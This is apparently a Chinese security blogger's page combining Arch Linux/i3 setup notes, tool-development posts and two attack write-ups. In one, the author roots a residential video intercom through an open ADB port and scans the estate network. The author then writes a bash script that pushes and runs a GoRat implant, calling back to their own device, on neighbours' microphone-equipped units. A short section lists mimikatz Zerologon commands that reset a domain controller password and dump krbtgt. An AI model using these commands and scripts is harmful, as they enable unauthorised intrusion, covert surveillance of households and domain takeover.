Cond0r 发布的文章

软件列表

软件介绍
compton全局透明度设置
alacritty终端
flameshot截图软件
picgo图片上传工具
fcitx输入法
polybar状态栏
rofi快速启动器
microsoft-edge-stable-binedge浏览器 支持多端同步 chromium代替,yay -S 安装即可
pulseaudio-equalizer-ladspa声音
pulseaudio声音
pavucontrol-qt声音控制台
spacevimvim ide集成环境
virtualbox虚拟机
wechat-uos微信,实际是web威信套壳 但是任何帐号都可以用
goland需要去官方下载 aur中安装的不能启动
copyq剪切板管理
nemo支持hidpi的file manager
timeshift系统备份
netease-cloud-music网易云音乐
visual-studio-code-binvscode
pulseaudio-bluetooth蓝牙音箱/耳机支持组建
utools快速启动器
i3status-rusti3 bar状态栏 支持显示标题
clight屏幕/键盘亮度调节
screenkey屏幕上显示按键
obs-studio屏幕录制,直播推流
xflux护眼模式,根据日出日落自动调整成暖色

声音

sudo pacman -S pulseaudio-equalizer-ladspa  pulseaudio pavucontrol-qt pulseaudio-bluetooth 

compton

~/.config/compton.conf

inactive-opacity = 0.9; # 非焦点窗口
active-opacity = 1; #焦点窗口

fcitx


sudo pacman -S fcitx fcitx-googlepinyin
sudo pacman -S fcitx-im fcitx-configtool

fcitx-tools # 打开输入法配置 添加谷歌拼音


# 然后打开 ~/.xinitrc

export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS="@im=fcitx"
exec $(get_session "$1") # 在exec i3之前添加

virtualbox

sudo pacman -Syu virtualbox linux54-virtualbox-host-modules
sudo pacman -Sy virtualbox-guest-utils
sudo vboxreload

开机自动链接蓝牙

/etc/bluetooth/main.conf

[Policy]
AutoEnable=true

中文字体

sudo pacman -S wqy-microhei wqy-zenhei
sudo pacman -S noto-fonts-emoji # emoji
locale-gen 

locale

locale -a

/etc/rc.conf

4k缩放

~/.Xresources

Xft.dpi: 200

~/.xinitrc

export QT_AUTO_SCREEN_SCALE_FACTOR="2;2;2"
export GDK_SCALE=2
export GDK_DPI_SCALE=0.5
export ELM_SCALE=2

# 如果用的fcitx需要写在这里
export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS="@im=fcitx"

exec $(get_session "$1") # 在最后一行之前加

获取窗口class

运行 xprops 然后点击需要查看的程序即可

for_window [class="File(.*)"] floating enable

-w1274

前言

看了一眼小区用的可视对讲,是一个小的平板,后面可以插网线,开机之后发现明显就是一个安卓套壳;
该设备的主要用途是用于开楼下单元门、与其他业主通讯、控制家里的智能家居;因为是精装房,所以也就是所有住户家里都会装这么个东西,而且这玩意是带麦克风的,如果一旦沦陷,后果很严重。
针对这种小区对讲的渗透思路还是比较简单的,要么找个路由插上可视对讲的网线,
对这个小区网络进行扫描然后在找弱点,要么把这个设备pwn下来,接着往下打。

ADB

看到安卓设备,第一反应就是扫一下ADB是不是开了,默认端口5555
Pasted image 20210803115747

果然开了,下面就直接连上去

adb connect 192.168.50.138:5555
# 切换到root
adb root
adb shell

Pasted image 20210803115849

看一下正在运行的UI是属于哪个程序

adb shell dumpsys activity top | grep ACTIVITY

Pasted image 20210803115933

然后把对应的apk先下回来留档案。
一般都在/data/app目录下
Pasted image 20210803120216

下载到本地

adb pull /data/app/xxx/xxx.apk smart.apk

沦陷

看了眼netmask,

inet addr:192.168.14.10  Bcast:192.168.15.255  Mask:255.255.248.0

计算出可用地址空间是192.168.6.1-192.168.15.255
因为设备是arm的,用go写一个端口扫描,编译成arm版本传上去进行扫描,

# 编译
GOOS=linux GOARCH=arm go build portscan
# 上传
adb push portscan /mnt/tmp

Pasted image 20210803120623

扫描得到小区所有正在使用的可视对奖的设备,剩下就是开个代理或插根网线批量上马了。

扩大战果

把gorat编译一份arm版本

#arm
CGO_ENABLED=0 GOOS=linux GOARCH=arm go build -o ../goratServer/module/template/client_linux_arm -ldflags "-s -w" linux.go

在生成一个马上线到我的可视对讲设备,因为这个设备默认是不联外网的,我是自己手动链接的wifi,所以通过内网上线到我的设备

Pasted image 20210803121917

adb connect host
adb shell
adb shell 'mkdir /mnt/tmp/;chmod 777 /mnt/tmp/'
adb push client /mnt/tmp/
adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client'

上线成功
Pasted image 20210803124148

然后在通过GoRat横向上线
Pasted image 20210803124254

Pasted image 20210803124339

上线命令改成

adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client http://192.168.14.10:65443/'

即可。
这样就可以通过我自己的对讲设备作为中继,上线到我家庭内网了。
写个自动传马的bash

adb kill-server
adb connect $1
adb root;adb shell 'mkdir /data/mnt/;chmod 777 /data/tmp/'; adb push client_linux_arm /mnt/tmp/client;adb shell 'chmod +x /mnt/tmp/client;/mnt/tmp/client http://192.168.14.10:65443/'

随便上线几台机器测试一下

Pasted image 20210803131853

Pasted image 20210803131911

智能家居

之前第一步就把可视对讲的apk拉到本地了,用jadx反编译一下
所有的方法基本都在这个package下面
Pasted image 20210803140449

比如说开锁的代码如下


    private class monitorLock implements Runnable {
        private monitorLock() {
        }

        public void run() {
            if (MonitorActivity.mMonitorState == 4 || MonitorActivity.mMonitorState == 5) {
                new Message();
                MonitorActivity.this.mInterCommClient.InterMonitorUnlock();
            }
        }
    }

    private class monitorSnap implements Runnable {
        private monitorSnap() {
        }

        public void run() {
            if (MonitorActivity.mMonitorState == 4 || MonitorActivity.mMonitorState == 5) {
                MonitorActivity monitorActivity = MonitorActivity.this;
                monitorActivity.mSnapPath = monitorActivity.mInterCommClient.InterSnap(2);
            }
        }
    }

简单了解其实就是通过InterCommClient进行串口通讯,发送指定格式的消息即会执行对应的动作,只要我们用他的sdk在重写一个程序即可,这部分就留着下次在折腾了。

后记

突然想起来,有邻居曾经在群里反应过说可视对讲大半夜会自动呼叫管理员或发出莫名其妙的声音。。这玩意甚至是自带麦克风的。。果断断电保平安。

个人知识库建立的一点思考之工具分享

比较琐碎,想到什么说什么,没有对内容做太多的构思。

花了一下午时间把github star的所有项目进行了标签分类,顺便在不安全上开了一个新的页面,就叫做工具分享

我更愿意把他当作一个自己的gist/snippet,用于记录比较有价值的项目,本来不安全首页中的文章在19年,20年之前基本全都是我阅读过觉得比较有价值的文章,然后才会进行的一个归档;

但是随着事情越来越多,每天不像以前有那么多时间都可以去学习新的东西;才引入了自动采集,这样在每天闲的时候可以看一下今天有没有什么有趣的东西,哪怕就算十天半个月不看也会有一个留档,事后也可以在翻出来看看。

后面也加入阅读量统计,然后自动生成今日热贴,本来是想推送到公众号的,但是实在是没有养成习惯,就放弃了,虽然现在每天22点就自动生成热贴并上传到公众号的后台,但是依然没能坚持下去。

-w1370
-w1319

已经积压了相当多一部分帖子了。

扯远了,说回不安全工具分享这个功能上,本来正在使用obsidian进行知识库的建立,成体系或可以成一定篇幅的文章、笔记到相对容易进行归类,唯独工具这块,经常会看到很多有价值的东西,但是有不可能每一个都去写一个新的帖子

-w1541

虽然也做了一些尝试,但是实在是累,与其这样不如简单一点,就以weibo/twitter这种形式进行一个笔记,在通过tag进行分类,最后花了10分钟在不安全上加了一个新的页面;但是光整理我star过的工具就花了整整一个下午。。

蹉跎工具箱开发笔记

前言

南京疫情,哪儿也去不了,正好也闲下来了,不如写点小工具,求索推出之后得到了一些认同,干脆这次就把其中的一些功能拆出来做一个客户端版本,正好最近开了go的GUI开发。

主要针对的场景是一些渗透过程中的辅助手段,不要打开太多额外的工具就可以满足部分需求,主要还是提高效率,节约时间。

本来想做成teamserver模式的,但是一想,做成teamserver那不是重复造求索和GoRat的轮子嘛,罢了罢了,就本地模式吧。

产品构思

产品构思很简单,四个大模块

1. 常用指令

-w1136

即快捷笔记,记录一些日常用的命令,语句等
可以理解成一个渗透的snippet,好比求索中的笔记功能,但是去掉了分类功能,只有顶级目录,这样更容易抓住重点,而不是在这里记录太多的过程中的数据。

2. 聊天协同

-w1136
其实我一直想给求索加上聊天功能,但是实在是懒,而且需要考虑的太多,也没那么多连续的时间。

先在蹉跎上实现了该功能,其实也比较简单,就是蹉跎支持以服务端模式或客户端模式启动,这样比如在打一个CTF或其他形式的线下比赛,但是禁止了外网通讯,这样在不依赖其他软件的情况下可以实现一个加密聊天室的功能,也支持文件/图片的传输分享,还算比较方便,甚至你也可以假设在公网上,服务端不存储任何聊天记录,只做一个转发的作用。

3. 信息查询

-w1136

基本也是求索中的必备模块.
这里面集了4个小模块,分别是 目录扫描、子域爆破、端口扫描、api查询。
目录和端口没啥好说的,子域名爆破这块参考了ksubdomain的思路,可以做到高并发,但是实际用wifi或家庭带宽的话效果不是很好,而且也需要system、root权限才可以执行。
api接口这块只保留了佛法和securitytrails的。

4. 编码/加密

-w1136

这个是新增的一个新模块。

这部分实际还没做完,目前就是常用的加密、编码,如base64,urlencode,md5,sha1等,额外把http://jackson-t.ca/runtime-exec-payloads.html的powershell encode和bash encode加了进来。
后面其实还要把shellcode生成,shellcode loader生成的功能加进来

心得体会

规划

功能上就这么多,理论上我应该还会把GoRat的部分功能在集成进来,比如一个简易的C/S的Rat,在加上端口映射、代理等功能。

理想情况下是做一个AllInOne的工具箱,其实也没什么难点,无非就是把常用的东西集成进去罢了,更多的是一些业务逻辑上的开发,没有啥挑战,所以可能永远就是理想情况下了,哈哈。

UI部分

UI部分采用的Wails.App实现的,配合Vue写的界面,这个框架总的来说写一些简单的程序没问题,之前也用过fyne相比之前还是wails更快一点,fyne写的太要命了,完全需要自己去用他的语法描述界面,特别痛苦。

Wails采用的类似Electron的模式,通过webview调用打包好的html资源,然后通过ws做rpc调用和go的方法进行bind,达到在js里面调用native的方法,也支持参数的传递,而且不限制参数类型,string,int,甚至json也可以自动序列化,这点还是不错的。
相比electron他打包出来的体积只有10M左右,因为wails并不会内置一个浏览器进去,而是调用系统自带的浏览器,这点的话因为我开发用的chrome,实际跑起来竟然用的是safari,有一些兼容性问题踩了一些坑。

功能部分

没啥太多难的地方,Vue我也没怎么写过,也是边学边做,主要是卡在调css之类的地方,虽然用的element-ui,但是还是有一些细节需要调整的,前后写了2天,也学到不少东西。

大部分功能基本都是求索里面的模块,正好之前也拆出来写了一个go module,基本做一些调用就行了,唯一下功夫的地方就是在子域爆破这块,
实际是调用libpcap发原生的dns查询包,然后开俩个gorountine,一个负责发,一个负责收,收的这块就是用libpcap的过滤器拦截返回包进行解析就行了,发这块需要防止丢包,实际上是需要一个重试机制,简单的理解就是如果没有应答的请求就一直重发,然后带一个限流器做限速。

检测是否存在漏洞

lsadump::zerologon /target:192.168.81.137 /account:dian7server$

-w911

重置域控密码为空

lsadump::zerologon /target:192.168.81.137  /account:dian7server$  /exploit 

-w901

dcsync导出hash

lsadump::dcsync /domain:dian7.local /dc:dian7server /user:krbtgt /authuser:dian7server$ /authdomain:dian7 /authpassword:"" /authntlm

-w900

还原密码

lsadump::postzerologon /target:192.168.81.137  /account:dian7server$

参考资料

http://www.saferoad.cc/notes/661.html
https://www.cnblogs.com/potatsoSec/p/13710947.html
https://stealthbits.com/blog/zerologon-from-zero-to-hero-part-2/
https://cloud.tencent.com/developer/article/1760129